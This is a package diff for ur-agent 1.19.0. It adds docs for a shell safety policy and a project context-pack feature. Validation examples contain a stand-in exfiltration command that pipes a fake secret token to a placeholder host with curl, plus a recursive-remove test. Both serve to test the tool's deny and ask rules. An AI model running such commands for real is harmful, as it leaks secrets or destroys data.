ur-agent 1.18.0 → 1.19.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +28 -1
- package/QUALITY.md +12 -0
- package/README.md +26 -4
- package/dist/cli.js +3150 -2363
- package/docs/AGENT_FEATURES.md +16 -1
- package/docs/AGENT_TRENDS.md +7 -0
- package/docs/AGENT_UPGRADE_1.19.0.md +41 -0
- package/docs/CODE_FEATURE_INVENTORY.md +26 -1
- package/docs/CONFIGURATION.md +42 -0
- package/docs/DEVELOPMENT.md +10 -1
- package/docs/USAGE.md +21 -0
- package/docs/VALIDATION.md +32 -5
- package/documentation/README.md +4 -0
- package/documentation/app.js +47 -8
- package/documentation/index.html +32 -6
- package/examples/agent_features.md +11 -0
- package/examples/agent_trends.md +4 -0
- package/examples/coding_task.md +9 -0
- package/examples/memory.md +6 -0
- package/extensions/vscode-ur-inline-diffs/package.json +1 -1
- package/package.json +1 -1
package/docs/AGENT_FEATURES.md
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
# Agent Feature Expansion
|
|
2
2
|
|
|
3
|
-
This page tracks the
|
|
3
|
+
This page tracks the agent-platform additions that were prioritized after
|
|
4
4
|
comparing UR with current Codex, Claude Code, Copilot, and Jules-style agent
|
|
5
5
|
workflows.
|
|
6
6
|
|
|
@@ -25,6 +25,12 @@ ur bg run "fix the flaky parser test" --worktree --dry-run
|
|
|
25
25
|
ur test-first detect
|
|
26
26
|
ur test-first --dry-run
|
|
27
27
|
ur test-first install
|
|
28
|
+
ur safety status
|
|
29
|
+
ur safety init
|
|
30
|
+
ur safety check --command "rm -rf build"
|
|
31
|
+
ur context-pack scan
|
|
32
|
+
ur context-pack remember --decision "Use package scripts before ad hoc commands"
|
|
33
|
+
ur context-pack compress
|
|
28
34
|
ur repo-edit index
|
|
29
35
|
ur repo-edit preview rename oldName --to newName
|
|
30
36
|
ur repo-edit apply rename oldName --to newName --check "bun test"
|
|
@@ -42,6 +48,13 @@ ur --discover-ollama
|
|
|
42
48
|
ur --ollama-host http://192.168.1.50:11434
|
|
43
49
|
```
|
|
44
50
|
|
|
51
|
+
## v1.19.0 Additions
|
|
52
|
+
|
|
53
|
+
| Addition | Surface | What it adds |
|
|
54
|
+
| --- | --- | --- |
|
|
55
|
+
| Permission and safety policy | `ur safety status\|init\|check` | Separates read/write/execute/network command permissions, asks before destructive commands, recommends sandboxing for risky operations, and denies common secret-file and secret-like environment exfiltration paths before broad Bash allow rules. |
|
|
56
|
+
| Project context pack | `ur context-pack scan\|remember\|compress` | Builds `.ur/project-manifest.json` and `.ur/context/architecture.md` from manifests, instruction files, Project DNA, verify gates, and safety config; stores task decisions, constraints, commands, diffs, and notes; compresses old context into `.ur/context/compressed.md`. |
|
|
57
|
+
|
|
45
58
|
## v1.18.0 Additions
|
|
46
59
|
|
|
47
60
|
| Addition | Surface | What it adds |
|
|
@@ -88,6 +101,8 @@ and route model work through the local Ollama-backed UR runtime.
|
|
|
88
101
|
| Semantic memory index | `ur semantic-memory build|search` | Local memory index over durable memory, docs, README, and UR instructions |
|
|
89
102
|
| Claim provenance ledger | `ur claim-ledger add|list|validate` | Maps generated claims to web, file, MCP, tool, or user sources |
|
|
90
103
|
| Browser replay evals | `ur browser-qa list|validate|run` | Validates replay fixtures and performs lightweight target smoke checks |
|
|
104
|
+
| Permission and safety policy | `ur safety status|init|check` | Project-aware shell safety checks for destructive operations, sandbox recommendations, permission classes, and secret exfiltration denial |
|
|
105
|
+
| Project context pack | `ur context-pack scan|remember|compress` | Architecture manifest, durable task memory, and compressed context summaries based on manifests and instructions |
|
|
91
106
|
|
|
92
107
|
## Design Notes
|
|
93
108
|
|
package/docs/AGENT_TRENDS.md
CHANGED
|
@@ -41,6 +41,11 @@ ur arena "implement a debounce helper" --agents 2 --dry-run
|
|
|
41
41
|
ur test-first detect
|
|
42
42
|
ur test-first --dry-run
|
|
43
43
|
ur test-first install
|
|
44
|
+
ur safety status
|
|
45
|
+
ur safety check --command "rm -rf build"
|
|
46
|
+
ur context-pack scan
|
|
47
|
+
ur context-pack remember --decision "Use manifest commands first"
|
|
48
|
+
ur context-pack compress
|
|
44
49
|
ur ci-loop --command "bun test" --dry-run
|
|
45
50
|
ur artifacts capture-diff
|
|
46
51
|
ur artifacts capture-tests --command "bun test"
|
|
@@ -67,6 +72,8 @@ Inside an interactive session:
|
|
|
67
72
|
| Long-term memory | Covered | `/remember`, `/forget`, `.ur/memory`, semantic memory, research notes, team memory, consolidation, `ur memory retention` | Tune retention defaults from real long-run telemetry |
|
|
68
73
|
| Semantic codebase retrieval | Covered | local embedding-based code index (`ur code-index`), opt-in `CodeSearch` tool, incremental re-index, auto-reindex watcher, Ollama embeddings | Add richer symbol-aware ranking |
|
|
69
74
|
| Reliable repo editing | Covered | `ur repo-edit` builds a file/symbol index, performs AST-aware JS/TS identifier rename planning, previews patches before writing, and applies multi-file edits transactionally with rollback on syntax or check failure | Extend AST edits beyond identifier rename into import moves and signature-aware refactors |
|
|
75
|
+
| Permission and safety policy | Covered | `ur safety`, `.ur/safety-policy.json`, pre-Bash safety evaluation, read/write/execute/network command classes, destructive-command approval, sandbox recommendations, and secret exfiltration denial | Record sandbox attestation in every risky command's evidence trail |
|
|
76
|
+
| Project context management | Covered | `ur context-pack`, `.ur/project-manifest.json`, `.ur/context/*`, Project DNA, instruction files, verify gates, and task memory for decisions/constraints/commands/diffs | Feed the generated project manifest into subagent prompt selection and verifier gate choice |
|
|
70
77
|
| AGENTS.md interoperability | Covered | `AGENTS.md` loaded as runtime project context (before `UR.md`), plus imported at `ur init` | Keep aligned as the AGENTS.md spec evolves |
|
|
71
78
|
| Browser and computer-use workflows | Covered | `/browser`, `/chrome`, Playwright-aware tasks, WebSearch, WebFetch, risky-action approval | Add more release fixtures with screenshots and replay assertions |
|
|
72
79
|
| Provenance and citations | Partial | WebFetch source URLs, `/cite`, `/graph`, `/trace`, evidence ledgers | Add claim-to-source mapping for web/MCP answers |
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
# UR Agent 1.19.0 Upgrade Notes
|
|
2
|
+
|
|
3
|
+
UR 1.19.0 adds two P0 agent reliability surfaces: project safety policy and
|
|
4
|
+
project context packing.
|
|
5
|
+
|
|
6
|
+
## What Changed
|
|
7
|
+
|
|
8
|
+
- `ur safety status|init|check` evaluates shell command risk before execution.
|
|
9
|
+
- Bash permission checks consult the project safety policy before broad allow
|
|
10
|
+
rules and sandbox auto-allow.
|
|
11
|
+
- The safety policy separates read, write, execute, and network permission
|
|
12
|
+
classes.
|
|
13
|
+
- Destructive commands require approval.
|
|
14
|
+
- Write, execute, and network operations receive sandbox guidance.
|
|
15
|
+
- Common secret-file and secret-like environment exfiltration paths are denied.
|
|
16
|
+
- `ur context-pack scan|remember|compress` writes a manifest-backed repository
|
|
17
|
+
architecture summary and durable task memory.
|
|
18
|
+
|
|
19
|
+
## New Project Files
|
|
20
|
+
|
|
21
|
+
- `.ur/safety-policy.json` from `ur safety init`
|
|
22
|
+
- `.ur/project-manifest.json` from `ur context-pack scan`
|
|
23
|
+
- `.ur/context/architecture.md`
|
|
24
|
+
- `.ur/context/task-memory.jsonl`
|
|
25
|
+
- `.ur/context/compressed.md`
|
|
26
|
+
|
|
27
|
+
Commit only shared policy and architecture files that are safe for teammates.
|
|
28
|
+
Keep local task memory private when it contains local decisions, file paths, or
|
|
29
|
+
operational notes that should not be shared.
|
|
30
|
+
|
|
31
|
+
## Validate
|
|
32
|
+
|
|
33
|
+
```sh
|
|
34
|
+
ur safety status
|
|
35
|
+
ur safety check --command "rm -rf build"
|
|
36
|
+
ur context-pack scan
|
|
37
|
+
ur context-pack remember --decision "Use manifest commands first"
|
|
38
|
+
ur context-pack compress
|
|
39
|
+
bun run typecheck
|
|
40
|
+
bun test
|
|
41
|
+
```
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
# UR Agent code feature inventory
|
|
2
2
|
|
|
3
3
|
This file is a code-derived inventory of what this agent can do in the
|
|
4
|
-
`ur-agent` 1.
|
|
4
|
+
`ur-agent` 1.19.0 source tree. It is meant to cover behavior that is easy to
|
|
5
5
|
miss in user-facing documentation.
|
|
6
6
|
|
|
7
7
|
Sources traced include:
|
|
@@ -181,6 +181,13 @@ The CLI registers these top-level command families in `src/main.tsx`:
|
|
|
181
181
|
- `ci-loop` / `heal`: self-healing build/test loop with bounded fix attempts.
|
|
182
182
|
- `test-first` / `quality-loop` / `tf-loop`: stack-aware compile/test/lint
|
|
183
183
|
loop with failure traces and `.ur/verify.json` gate installation.
|
|
184
|
+
- `safety` / `safety-policy`: inspect project shell safety policy, initialize
|
|
185
|
+
`.ur/safety-policy.json`, and evaluate commands for read/write/execute/network
|
|
186
|
+
permission class, destructive-command approval, sandbox posture, and secret
|
|
187
|
+
exfiltration denial.
|
|
188
|
+
- `context-pack` / `project-manifest` / `ctx-pack`: write
|
|
189
|
+
`.ur/project-manifest.json`, summarize repository architecture under
|
|
190
|
+
`.ur/context/architecture.md`, record task memory, and compress context.
|
|
184
191
|
- `artifacts` / `artifact`: create, review, approve, reject, and capture
|
|
185
192
|
deliverables; comments can steer linked background tasks.
|
|
186
193
|
- `trigger` / `mention`: parse webhook payloads and optionally launch a run.
|
|
@@ -245,6 +252,7 @@ Code-visible slash command names include:
|
|
|
245
252
|
- `compliance`
|
|
246
253
|
- `config`
|
|
247
254
|
- `context`
|
|
255
|
+
- `context-pack`
|
|
248
256
|
- `convert`
|
|
249
257
|
- `copy`
|
|
250
258
|
- `cost`
|
|
@@ -321,6 +329,7 @@ Code-visible slash command names include:
|
|
|
321
329
|
- `role-mode`
|
|
322
330
|
- `route`
|
|
323
331
|
- `sandbox`
|
|
332
|
+
- `safety`
|
|
324
333
|
- `scope`
|
|
325
334
|
- `sdk`
|
|
326
335
|
- `search`
|
|
@@ -626,6 +635,12 @@ The verifier service in `src/services/verifier/**` includes:
|
|
|
626
635
|
- bounded fix-runner retries
|
|
627
636
|
- failure traces under `.ur/test-first/traces/`
|
|
628
637
|
- gate installation into `.ur/verify.json`
|
|
638
|
+
- Project context pack under `src/services/context/projectContextManifest.ts`:
|
|
639
|
+
- manifest generation from package scripts, Project DNA, instruction files,
|
|
640
|
+
`.ur/verify.json`, `.ur/safety-policy.json`, and other project manifests
|
|
641
|
+
- architecture summary under `.ur/context/architecture.md`
|
|
642
|
+
- task memory JSONL for decisions, constraints, commands, diffs, and notes
|
|
643
|
+
- compressed task context under `.ur/context/compressed.md`
|
|
629
644
|
- Loop detection.
|
|
630
645
|
- Rejection cap.
|
|
631
646
|
- Optional L2 verification subagent through env opt-in.
|
|
@@ -646,6 +661,16 @@ Permission modes:
|
|
|
646
661
|
Permission features:
|
|
647
662
|
|
|
648
663
|
- Tool-level allow, deny, and ask rules.
|
|
664
|
+
- Project shell safety policy under `src/services/safety/projectSafety.ts`.
|
|
665
|
+
- Command permission classes: read, write, execute, and network.
|
|
666
|
+
- `ur safety check --command <cmd>` previews safety behavior before execution.
|
|
667
|
+
- Bash command permission checks consult the project safety policy before broad
|
|
668
|
+
sandbox auto-allow and exact allow rules.
|
|
669
|
+
- Destructive commands such as recursive remove, hard reset, git clean, forced
|
|
670
|
+
push, recursive chmod/chown, filesystem formatting, infrastructure destroy,
|
|
671
|
+
and cluster delete require approval.
|
|
672
|
+
- Secret exfiltration patterns deny common secret-file reads into transcript
|
|
673
|
+
and likely secret values sent to remote sinks.
|
|
649
674
|
- MCP server/tool permission rules.
|
|
650
675
|
- CLI, command, session, user, project, local, and managed setting sources.
|
|
651
676
|
- Permission request hooks.
|
package/docs/CONFIGURATION.md
CHANGED
|
@@ -143,6 +143,48 @@ before the agent can declare the task complete. A failing command surfaces
|
|
|
143
143
|
to the model as a structured reminder with the command name and the trimmed
|
|
144
144
|
stdout/stderr.
|
|
145
145
|
|
|
146
|
+
## Project Safety Policy
|
|
147
|
+
|
|
148
|
+
`ur safety` exposes the project shell safety policy:
|
|
149
|
+
|
|
150
|
+
```sh
|
|
151
|
+
ur safety status
|
|
152
|
+
ur safety init
|
|
153
|
+
ur safety check --command "rm -rf build"
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
The default policy separates command behavior into read, write, execute, and
|
|
157
|
+
network permission classes. It asks before destructive operations, recommends
|
|
158
|
+
sandboxing for write/execute/network commands, and denies common secret-file or
|
|
159
|
+
secret-like environment exfiltration patterns before broad Bash allow rules.
|
|
160
|
+
|
|
161
|
+
Run `ur safety init` to write `.ur/safety-policy.json`. Commit it only when the
|
|
162
|
+
rules are safe and useful for the whole team; keep machine-local secrets and
|
|
163
|
+
local settings out of Git.
|
|
164
|
+
|
|
165
|
+
## Project Context Pack
|
|
166
|
+
|
|
167
|
+
`ur context-pack` writes durable architecture context and task memory:
|
|
168
|
+
|
|
169
|
+
```sh
|
|
170
|
+
ur context-pack scan
|
|
171
|
+
ur context-pack remember --decision "Use package scripts before ad hoc commands"
|
|
172
|
+
ur context-pack remember --constraint "Do not expose secret values"
|
|
173
|
+
ur context-pack remember --command "bun run typecheck"
|
|
174
|
+
ur context-pack remember --diff "Safety policy wired into Bash permission checks"
|
|
175
|
+
ur context-pack compress
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
Generated files:
|
|
179
|
+
|
|
180
|
+
- `.ur/project-manifest.json` — architecture manifest from Project DNA,
|
|
181
|
+
`package.json`, instruction files, `.ur/verify.json`, `.ur/safety-policy.json`,
|
|
182
|
+
and other manifests.
|
|
183
|
+
- `.ur/context/architecture.md` — human-readable architecture summary.
|
|
184
|
+
- `.ur/context/task-memory.jsonl` — decisions, constraints, commands, diffs,
|
|
185
|
+
and notes.
|
|
186
|
+
- `.ur/context/compressed.md` — compressed task context summary.
|
|
187
|
+
|
|
146
188
|
Two related slash commands:
|
|
147
189
|
|
|
148
190
|
- `/verify [focus]` — manually run the deep verification subagent (e.g.
|
package/docs/DEVELOPMENT.md
CHANGED
|
@@ -7,7 +7,8 @@
|
|
|
7
7
|
- `src/main.tsx` defines top-level CLI flags and subcommands.
|
|
8
8
|
- `src/commands.ts` registers slash commands and command modules.
|
|
9
9
|
- `src/tools/` contains tool implementations.
|
|
10
|
-
- `src/services/` contains API, MCP, analytics, sync,
|
|
10
|
+
- `src/services/` contains API, MCP, analytics, sync, safety, context, and
|
|
11
|
+
runtime services.
|
|
11
12
|
- `src/components/` and `src/ink/` implement the terminal UI.
|
|
12
13
|
- `examples/` contains example prompts and workflows.
|
|
13
14
|
- `test/` contains Bun tests for local UR utility modules.
|
|
@@ -43,6 +44,11 @@ Use `ur test-first detect` when adding a feature to inspect the repository's
|
|
|
43
44
|
detected compile/test/lint command set before choosing the final verification
|
|
44
45
|
commands for the change.
|
|
45
46
|
|
|
47
|
+
Use `ur safety check --command "<cmd>"` before documenting or automating risky
|
|
48
|
+
shell commands. Use `ur context-pack scan` when a change adds new manifests,
|
|
49
|
+
command surfaces, or architecture rules that should be captured as project
|
|
50
|
+
context.
|
|
51
|
+
|
|
46
52
|
The GitHub install path uses the bundled launcher in `dist/cli.js`, so `bun run bundle` must be run before packaging or pushing a release. `bun run release:check` verifies that `package.json`, `bunfig.toml`, the bundle, docs, and `node ./bin/ur.js --version` agree.
|
|
47
53
|
|
|
48
54
|
## Build
|
|
@@ -69,6 +75,9 @@ For top-level commands, also update the static documentation site command data
|
|
|
69
75
|
in `documentation/app.js` and any relevant tutorial section in
|
|
70
76
|
`documentation/index.html`.
|
|
71
77
|
|
|
78
|
+
For command surfaces that write `.ur/` state, update configuration and
|
|
79
|
+
validation docs with the generated files and cleanup expectations.
|
|
80
|
+
|
|
72
81
|
## Local Command Link
|
|
73
82
|
|
|
74
83
|
From the repository root:
|
package/docs/USAGE.md
CHANGED
|
@@ -92,6 +92,14 @@ Use `UR.local.md` for private local instructions. It is ignored by `.gitignore`.
|
|
|
92
92
|
|
|
93
93
|
Project `.ur/` assets can hold settings, skills, agents, MCP config, and local runtime state. Commit only shared files. Keep local memory, generated indexes, logs, and local settings untracked.
|
|
94
94
|
|
|
95
|
+
For a manifest-backed summary of the repository, run:
|
|
96
|
+
|
|
97
|
+
```sh
|
|
98
|
+
ur context-pack scan
|
|
99
|
+
ur context-pack remember --decision "Use package scripts before ad hoc commands"
|
|
100
|
+
ur context-pack compress
|
|
101
|
+
```
|
|
102
|
+
|
|
95
103
|
## Commands
|
|
96
104
|
|
|
97
105
|
UR includes slash commands and CLI subcommands for common workflows:
|
|
@@ -104,6 +112,8 @@ UR includes slash commands and CLI subcommands for common workflows:
|
|
|
104
112
|
- `ur a2a card` to print UR's Agent Card metadata for A2A discovery
|
|
105
113
|
- `ur bg ...` to run detached local background agents with optional worktrees and PRs
|
|
106
114
|
- `ur repo-edit ...` to index the repo, plan AST-aware renames, preview patches, and apply with rollback
|
|
115
|
+
- `ur safety ...` to inspect project shell safety policy and preview command risk
|
|
116
|
+
- `ur context-pack ...` to summarize architecture and persist task decisions, constraints, commands, and diffs
|
|
107
117
|
- `ur code-index watch` to keep the local semantic code index fresh
|
|
108
118
|
- `ur memory retention ...` to prune project-local memory by TTL, max entries, and decay
|
|
109
119
|
- `ur spec ...` to scaffold requirements, design, and tasks, then run a spec task list
|
|
@@ -132,6 +142,11 @@ ur escalate run "refactor the cache layer" --force-oracle --dry-run
|
|
|
132
142
|
ur test-first detect
|
|
133
143
|
ur test-first --dry-run
|
|
134
144
|
ur test-first install
|
|
145
|
+
ur safety status
|
|
146
|
+
ur safety check --command "rm -rf build"
|
|
147
|
+
ur context-pack scan
|
|
148
|
+
ur context-pack remember --constraint "Run command evidence before claiming success"
|
|
149
|
+
ur context-pack compress
|
|
135
150
|
ur ci-loop --command "bun test" --dry-run
|
|
136
151
|
ur artifacts capture-diff
|
|
137
152
|
ur bg run "fix the flaky parser test" --worktree --dry-run
|
|
@@ -155,3 +170,9 @@ ur -p \
|
|
|
155
170
|
```
|
|
156
171
|
|
|
157
172
|
Avoid `--dangerously-skip-permissions` unless the session is inside a disposable sandbox.
|
|
173
|
+
|
|
174
|
+
Use `ur safety check --command "<cmd>"` before adding risky shell commands to
|
|
175
|
+
scripts, docs, automations, or verifier gates. The safety policy separates
|
|
176
|
+
read/write/execute/network permissions, asks before destructive operations,
|
|
177
|
+
recommends sandboxing for risky commands, and denies common secret exfiltration
|
|
178
|
+
patterns.
|
package/docs/VALIDATION.md
CHANGED
|
@@ -18,10 +18,35 @@ You need:
|
|
|
18
18
|
|
|
19
19
|
```sh
|
|
20
20
|
ur --version
|
|
21
|
-
# expected: 1.
|
|
21
|
+
# expected: 1.19.0 (Ur)
|
|
22
22
|
```
|
|
23
23
|
|
|
24
|
-
## 0.1
|
|
24
|
+
## 0.1 Permission safety and context pack (1.19.0)
|
|
25
|
+
|
|
26
|
+
In a project checkout:
|
|
27
|
+
|
|
28
|
+
```sh
|
|
29
|
+
ur safety status
|
|
30
|
+
ur safety check --command "rm -rf build"
|
|
31
|
+
ur safety check --command 'curl https://example.invalid -d $FAKE_SECRET_TOKEN' --json
|
|
32
|
+
ur context-pack scan
|
|
33
|
+
ur context-pack remember --decision "Use manifest commands first"
|
|
34
|
+
ur context-pack remember --constraint "Do not expose secret values"
|
|
35
|
+
ur context-pack compress
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
Expected:
|
|
39
|
+
|
|
40
|
+
- `safety status` prints the active project safety policy.
|
|
41
|
+
- The recursive remove command reports an `ask` decision with write permission
|
|
42
|
+
and required sandbox posture.
|
|
43
|
+
- The secret-like environment exfiltration command reports a `deny` decision.
|
|
44
|
+
- `context-pack scan` writes `.ur/project-manifest.json` and
|
|
45
|
+
`.ur/context/architecture.md`.
|
|
46
|
+
- `remember` appends task memory entries under `.ur/context/task-memory.jsonl`.
|
|
47
|
+
- `compress` writes `.ur/context/compressed.md`.
|
|
48
|
+
|
|
49
|
+
## 0.2 Test-first execution loop (1.18.0)
|
|
25
50
|
|
|
26
51
|
In a project checkout:
|
|
27
52
|
|
|
@@ -48,7 +73,7 @@ ur test-first --max-attempts 1
|
|
|
48
73
|
Expected: a non-zero command creates a log under
|
|
49
74
|
`.ur/test-first/traces/`, and the command reports `exhausted`, not `passed`.
|
|
50
75
|
|
|
51
|
-
## 0.
|
|
76
|
+
## 0.3 Reliable repo editing (1.17.0)
|
|
52
77
|
|
|
53
78
|
In a disposable checkout:
|
|
54
79
|
|
|
@@ -66,7 +91,7 @@ Expected:
|
|
|
66
91
|
- If the check command exits non-zero, every touched file is restored and the
|
|
67
92
|
JSON result reports `"rolledBack": true`.
|
|
68
93
|
|
|
69
|
-
## 0.
|
|
94
|
+
## 0.4 Network Ollama discovery (1.16.0)
|
|
70
95
|
|
|
71
96
|
With at least one other Ollama server reachable on your LAN:
|
|
72
97
|
|
|
@@ -259,6 +284,8 @@ ur spec run validation-demo --all --dry-run
|
|
|
259
284
|
ur arena "implement a debounce helper" --agents 2 --dry-run
|
|
260
285
|
ur escalate run "refactor the cache layer" --force-oracle --dry-run
|
|
261
286
|
ur test-first --dry-run
|
|
287
|
+
ur safety check --command "rm -rf build"
|
|
288
|
+
ur context-pack scan
|
|
262
289
|
ur ci-loop --command "bun test" --dry-run
|
|
263
290
|
ur artifacts capture-tests --command "bun test"
|
|
264
291
|
```
|
|
@@ -278,6 +305,6 @@ Expected: no `unknown option` or `too many arguments` parser errors.
|
|
|
278
305
|
- Step 8 (filter): if `<system-reminder>` appears in visible prose, copy
|
|
279
306
|
the literal output and file an issue.
|
|
280
307
|
- Step 9 (direct commands): run `ur --help` and confirm `spec`, `arena`,
|
|
281
|
-
`escalate`, `test-first`, `ci-loop`, and `artifacts` appear. If `unknown option` or
|
|
308
|
+
`escalate`, `test-first`, `safety`, `context-pack`, `ci-loop`, and `artifacts` appear. If `unknown option` or
|
|
282
309
|
`too many arguments` appears, reinstall `ur-agent@latest` and verify the
|
|
283
310
|
npm version with `npm view ur-agent version`.
|
package/documentation/README.md
CHANGED
|
@@ -17,6 +17,10 @@ required.
|
|
|
17
17
|
When adding a public command, update the `commands` array in `app.js` and add
|
|
18
18
|
examples to the relevant tutorial or workflow section in `index.html`.
|
|
19
19
|
|
|
20
|
+
When a command writes project state, also update `projectFiles` in `app.js`.
|
|
21
|
+
For safety or context features, include the relevant `.ur/` paths and validation
|
|
22
|
+
commands so the static docs match the implementation.
|
|
23
|
+
|
|
20
24
|
For public feature patches, also check the project-wide docs set:
|
|
21
25
|
|
|
22
26
|
- root `README.md`
|
package/documentation/app.js
CHANGED
|
@@ -7,9 +7,9 @@ const featureGroups = [
|
|
|
7
7
|
},
|
|
8
8
|
{
|
|
9
9
|
title: 'Project context',
|
|
10
|
-
tags: ['UR.md', 'AGENTS.md', '.ur'],
|
|
11
|
-
text: 'Repository instructions, project settings, custom agents, skills, memory, knowledge sources, verification gates, workflows, evals, and local state.',
|
|
12
|
-
commands: ['UR.md', 'AGENTS.md', '
|
|
10
|
+
tags: ['UR.md', 'AGENTS.md', '.ur', 'manifest'],
|
|
11
|
+
text: 'Repository instructions, project settings, custom agents, skills, memory, knowledge sources, architecture manifests, verification gates, workflows, evals, and local state.',
|
|
12
|
+
commands: ['UR.md', 'AGENTS.md', 'ur context-pack', '.ur/project-manifest.json', '.ur/context'],
|
|
13
13
|
},
|
|
14
14
|
{
|
|
15
15
|
title: 'Agent platform',
|
|
@@ -55,9 +55,9 @@ const featureGroups = [
|
|
|
55
55
|
},
|
|
56
56
|
{
|
|
57
57
|
title: 'Security and operations',
|
|
58
|
-
tags: ['sandbox', 'scope', 'diagnostics'],
|
|
59
|
-
text: 'Permission modes, allow/deny tool lists, optional OS sandboxing, diagnostic commands, security scope, threat modeling, hardening, and vulnerability checks.',
|
|
60
|
-
commands: ['ur doctor', '/sandbox', '/scope', '/security', '/vuln'],
|
|
58
|
+
tags: ['sandbox', 'scope', 'diagnostics', 'policy'],
|
|
59
|
+
text: 'Permission modes, project safety policy, allow/deny tool lists, optional OS sandboxing, diagnostic commands, security scope, threat modeling, hardening, and vulnerability checks.',
|
|
60
|
+
commands: ['ur safety', 'ur doctor', '/sandbox', '/scope', '/security', '/vuln'],
|
|
61
61
|
},
|
|
62
62
|
];
|
|
63
63
|
|
|
@@ -167,6 +167,13 @@ const commands = [
|
|
|
167
167
|
summary: 'Run a build or test command, summarize failures, invoke a fix agent, and rerun with a bounded retry budget.',
|
|
168
168
|
examples: ['ur ci-loop --command "bun test" --dry-run', 'ur ci-loop --command "bun test" --max-attempts 3', 'ur ci-loop --from-log failure.log --dry-run', 'ur ci-loop --command "bun test" --commit'],
|
|
169
169
|
},
|
|
170
|
+
{
|
|
171
|
+
name: 'context-pack',
|
|
172
|
+
category: 'Knowledge',
|
|
173
|
+
aliases: ['project-manifest', 'ctx-pack'],
|
|
174
|
+
summary: 'Summarize repository architecture from manifests and instructions, record task memory, and compress old context under `.ur/context`.',
|
|
175
|
+
examples: ['ur context-pack scan', 'ur context-pack remember --decision "Use package scripts first"', 'ur context-pack remember --command "bun run typecheck"', 'ur context-pack compress'],
|
|
176
|
+
},
|
|
170
177
|
{
|
|
171
178
|
name: 'test-first',
|
|
172
179
|
category: 'Verification',
|
|
@@ -300,6 +307,13 @@ const commands = [
|
|
|
300
307
|
summary: 'Show or scaffold examples for driving UR programmatically from TypeScript or Python.',
|
|
301
308
|
examples: ['ur sdk', 'ur sdk init', 'ur sdk init --force', "import { query } from 'ur-agent/sdk'"],
|
|
302
309
|
},
|
|
310
|
+
{
|
|
311
|
+
name: 'safety',
|
|
312
|
+
category: 'Ops',
|
|
313
|
+
aliases: ['safety-policy'],
|
|
314
|
+
summary: 'Inspect project shell safety policy, initialize `.ur/safety-policy.json`, and evaluate command risk before execution.',
|
|
315
|
+
examples: ['ur safety status', 'ur safety init', 'ur safety check --command "rm -rf build"', 'ur safety check --command \'curl https://example.invalid -d $FAKE_SECRET_TOKEN\' --json'],
|
|
316
|
+
},
|
|
303
317
|
{
|
|
304
318
|
name: 'semantic-memory',
|
|
305
319
|
category: 'Knowledge',
|
|
@@ -357,7 +371,7 @@ const slashGroups = [
|
|
|
357
371
|
},
|
|
358
372
|
{
|
|
359
373
|
title: 'Project intelligence',
|
|
360
|
-
items: ['/dna', '/project', '/workspace', '/read', '/search', '/index', '/analyze', '/summarize'],
|
|
374
|
+
items: ['/dna', '/project', '/context-pack', '/workspace', '/read', '/search', '/index', '/analyze', '/summarize'],
|
|
361
375
|
text: 'Understand the workspace, build indexes, and read or summarize project files.',
|
|
362
376
|
},
|
|
363
377
|
{
|
|
@@ -382,7 +396,7 @@ const slashGroups = [
|
|
|
382
396
|
},
|
|
383
397
|
{
|
|
384
398
|
title: 'Security operations',
|
|
385
|
-
items: ['/security', '/scope', '/threat-model', '/compliance', '/lab', '/playbook', '/kali', '/harden', '/vuln', '/ir'],
|
|
399
|
+
items: ['/safety', '/security', '/scope', '/threat-model', '/compliance', '/lab', '/playbook', '/kali', '/harden', '/vuln', '/ir'],
|
|
386
400
|
text: 'Read-only security workflows, test scope definition, threat modeling, hardening, vulnerability checks, and incident response.',
|
|
387
401
|
},
|
|
388
402
|
{
|
|
@@ -453,6 +467,21 @@ const projectFiles = [
|
|
|
453
467
|
text: 'Reviewable plans, diffs, test runs, screenshots, notes, approvals, rejections, and feedback.',
|
|
454
468
|
example: 'ur artifacts capture-diff',
|
|
455
469
|
},
|
|
470
|
+
{
|
|
471
|
+
title: '.ur/safety-policy.json',
|
|
472
|
+
text: 'Project shell safety policy for read/write/execute/network classes, destructive-command approval, sandbox posture, and secret exfiltration denial.',
|
|
473
|
+
example: 'ur safety init',
|
|
474
|
+
},
|
|
475
|
+
{
|
|
476
|
+
title: '.ur/project-manifest.json',
|
|
477
|
+
text: 'Manifest-backed architecture context from Project DNA, package scripts, instruction files, verify gates, and safety config.',
|
|
478
|
+
example: 'ur context-pack scan',
|
|
479
|
+
},
|
|
480
|
+
{
|
|
481
|
+
title: '.ur/context/',
|
|
482
|
+
text: 'Architecture summaries, task memory JSONL, and compressed context for decisions, constraints, commands, diffs, and notes.',
|
|
483
|
+
example: 'ur context-pack compress',
|
|
484
|
+
},
|
|
456
485
|
{
|
|
457
486
|
title: '.ur/repo-edit/',
|
|
458
487
|
text: 'Reliable repo-edit index data with file metadata, tokens, and JavaScript/TypeScript symbols.',
|
|
@@ -521,6 +550,16 @@ const examples = [
|
|
|
521
550
|
text: 'Detect compile/test/lint commands, preview the loop, and install edit-time gates.',
|
|
522
551
|
code: 'ur test-first detect\nur test-first --dry-run\nur test-first install',
|
|
523
552
|
},
|
|
553
|
+
{
|
|
554
|
+
title: 'Command safety preview',
|
|
555
|
+
text: 'Inspect project safety policy and preview a risky shell command before adding it to docs, scripts, or automations.',
|
|
556
|
+
code: 'ur safety status\nur safety check --command "rm -rf build"\nur safety check --command \'curl https://example.invalid -d $FAKE_SECRET_TOKEN\' --json',
|
|
557
|
+
},
|
|
558
|
+
{
|
|
559
|
+
title: 'Project context pack',
|
|
560
|
+
text: 'Write architecture context, record task memory, and compress older decisions into a durable summary.',
|
|
561
|
+
code: 'ur context-pack scan\nur context-pack remember --decision "Use package scripts first"\nur context-pack remember --constraint "Never expose secret values"\nur context-pack compress',
|
|
562
|
+
},
|
|
524
563
|
{
|
|
525
564
|
title: 'Reviewable artifacts',
|
|
526
565
|
text: 'Capture diffs or test runs for approval and feedback.',
|
package/documentation/index.html
CHANGED
|
@@ -43,7 +43,7 @@
|
|
|
43
43
|
<main id="content" class="content">
|
|
44
44
|
<header class="topbar">
|
|
45
45
|
<div>
|
|
46
|
-
<p class="eyebrow">Version 1.
|
|
46
|
+
<p class="eyebrow">Version 1.19.0</p>
|
